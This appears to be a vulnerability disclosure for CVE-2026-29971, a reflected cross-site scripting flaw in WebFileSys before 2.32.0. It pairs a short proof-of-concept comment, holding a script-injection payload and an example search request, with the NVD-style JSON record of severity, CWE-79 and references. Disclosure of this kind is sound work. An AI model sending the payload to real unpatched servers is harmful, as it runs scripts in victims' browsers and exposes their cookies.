CVE-2026-29971

// Proof of Concept for Reflected XSS in WebFileSys // Targeting the search or error message component // Payload: const payload = '"><script>alert(document.cookie)</script>'; // Example Request: // GET /webfilesys/search?query="><script>alert(document.cookie)</script> HTTP/1.1 // Host: target-ip // If vulnerable, the script executes reflecting the input in the response context.

{"cve": {"id": "CVE-2026-29971", "sourceIdentifier": "[email protected]", "published": "2026-04-27T21:16:33.267", "lastModified": "2026-04-28T20:13:21.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability exists in WebFileSys version before 2.32.0 and fixed in v.2.32.0. User-controlled input is reflected into HTML and JavaScript contexts without proper output encoding, allowing arbitrary JavaScript execution in the victim's browser via the ftpBackup functionality, authentication input handling, search functionality, and error message rendering components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Tharooon/CVE-2026-29971/", "source": "[email protected]"}, {"url": "https://www.webfilesys.de/", "source": "[email protected]"}, {"url": "https://github.com/Tharooon/CVE-2026-29971/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}